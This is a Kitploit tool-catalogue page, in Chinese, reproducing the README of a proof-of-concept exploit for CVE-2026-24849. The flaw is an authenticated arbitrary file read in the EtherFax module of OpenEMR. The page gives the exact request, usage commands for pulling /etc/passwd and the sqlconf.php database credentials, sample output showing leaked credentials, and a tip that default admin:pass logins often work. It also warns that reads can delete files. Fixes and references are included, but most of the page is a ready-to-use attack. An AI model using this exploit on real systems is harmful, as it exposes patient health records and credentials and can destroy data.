Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-24849 — CVE-2026-24849 的概念验证利用程序,针对 OpenEMR 的 Fax/SMS (EtherFax) 模块中的经过身份验证的路径遍历/任意文件读取漏洞。任何通过身份验证的用户(无论权限级别)都能以 Web 服务器用户的身份从服务器文件系统中读取任意文件(数据库凭证、患者文档/受保护健康信息、/etc/passwd 等)。 | Kitploit
工具/GitHubGitHub/doany1/cve-2026-24849
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集渗透测试
GitHubdoany1/cve-2026-24849

CVE-2026-24849

CVE-2026-24849 的概念验证利用程序,针对 OpenEMR 的 Fax/SMS (EtherFax) 模块中的经过身份验证的路径遍历/任意文件读取漏洞。任何通过身份验证的用户(无论权限级别)都能以 Web 服务器用户的身份从服务器文件系统中读取任意文件(数据库凭证、患者文档/受保护健康信息、/etc/passwd 等)。

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24849 OpenEMR 认证后的任意文件读取 (EtherFax disposeDoc)

测试环境:OpenEMR 版本 = 7.0.2

针对 CVE-2026-24849 的概念验证利用代码,该漏洞涉及 OpenEMR 传真/短信 (EtherFax) 模块中一个已认证的路径遍历 / 任意文件读取漏洞。任何已认证用户(无论权限级别如何)都能以 Web 服务器用户的身份从服务器文件系统中读取任意文件(数据库凭据、患者文档/受保护健康信息(PHI)、/etc/passwd 等)。

CVECVE-2026-24849
漏洞类型路径遍历 / 任意文件读取 (CWE-22)
组件EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
受影响版本OpenEMR < 7.0.4
修复版本OpenEMR 7.0.4
认证要求需要 任意用户,无需任何权限
严重性NVD 6.5(中等)/ GitHub CNA 9.9(严重)
测试环境OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4

漏洞描述

传真/短信模块的 disposeDoc() 方法接受调用者提供的 file_path 请求参数,确认文件存在后,直接将其传递给 readfile() —— 没有路径规范化、没有白名单检查,除持有有效会话外没有任何授权检查:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

通过模块分发器,使用 file_path 中的 绝对路径(无需 ../ 遍历)即可访问该处理程序:

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

影响

低权限(或默认)账号将获得完整的服务器端文件读取能力:

  • 数据库凭据 sites/default/sqlconf.php
  • 患者记录 / 受保护健康信息(PHI) sites/<site>/documents/ 下的任何内容,即使该目录在 .htaccess 中设置了 Deny from all(因读取发生在磁盘上,绕过了 Apache)
  • 系统文件 /etc/passwd、应用程序源代码、Web 用户可读取的密钥/令牌

⚠️ 破坏性行为

disposeDoc() 在读取文件 之后 调用了 unlink($where)。读取 Web 服务器用户有权删除的文件 将会将其删除。针对 root 拥有 的文件(例如 /etc/passwd、多数安装中的 sqlconf.php)——其父目录不允许 Web 用户写入,因此 unlink() 会失败,文件得以保留。使用此工具时请明确目标。

先决条件

  • 有效的 OpenEMR 凭据(任何权限级别——默认的 admin:pass 通常可用)。
  • 传真/短信模块已启用,且传真提供商选择了 EtherFax。无需真实的 EtherFax 账号/凭据——文件读取发生在任何外部 API 调用之前。

依赖条件

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

安装

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

使用方法

不带任何参数运行,将 交互式提示输入所有必要信息:

root@kitploit:~
python3 CVE-2026-24849.py

或通过参数进行非交互式使用:

root@kitploit:~
# 读取单个文件
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# 获取数据库凭据并保存到文件
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

选项

若省略 -f,工具将进入 交互式读取循环,以便在同一会话中获取多个文件。

示例

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

工作原理

  1. 使用 requests 登录,将会话保存在自己的 Cookie jar 中(避免浏览器会话 ID 轮换导致的 Cookie 过期问题)。
  2. 通过读取一个安全、由 root 拥有的探测文件来确认访问权限——清晰地区分 凭据错误、模块未启用 与 成功。
  3. 发送 disposeDoc 读取请求,自动尝试 disposeDoc 和 disposeDocument(方法名称在不同受影响的小版本中有所不同)。

修复措施

  • 升级到 OpenEMR 7.0.4 或更高版本。 修复版本对路径进行了规范化,将其限制在允许的目录内,并增加了真正的授权检查。
  • 更改默认凭据并强制首次登录时重置密码。
  • 将机密信息和患者文档 存放在 Web 根目录之外;不要仅依赖 .htaccess 作为唯一控制措施。

免责声明

本工具仅供 授权安全测试和教育目的 使用。仅可用于您拥有或已获得明确书面授权的系统。作者不对任何滥用行为或由本软件造成的任何损害承担责任。请注意上述的破坏性 unlink() 行为。

参考

  • GitHub 安全公告:https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • 厂商:https://www.open-emr.org/

作者

doany1

许可协议

MIT —— 参见 LICENSE。

下载工具
标志描述默认值
-t, --target基础URL,例如 http://10.10.10.10提示输入
-u, --userOpenEMR 用户名admin
-P, --passwordOpenEMR 密码提示输入(隐藏)
-s, --siteOpenEMR 站点 IDdefault
-f, --file要读取的远程文件绝对路径若省略则进入交互循环
-o, --output将获取的文件保存到本地而非打印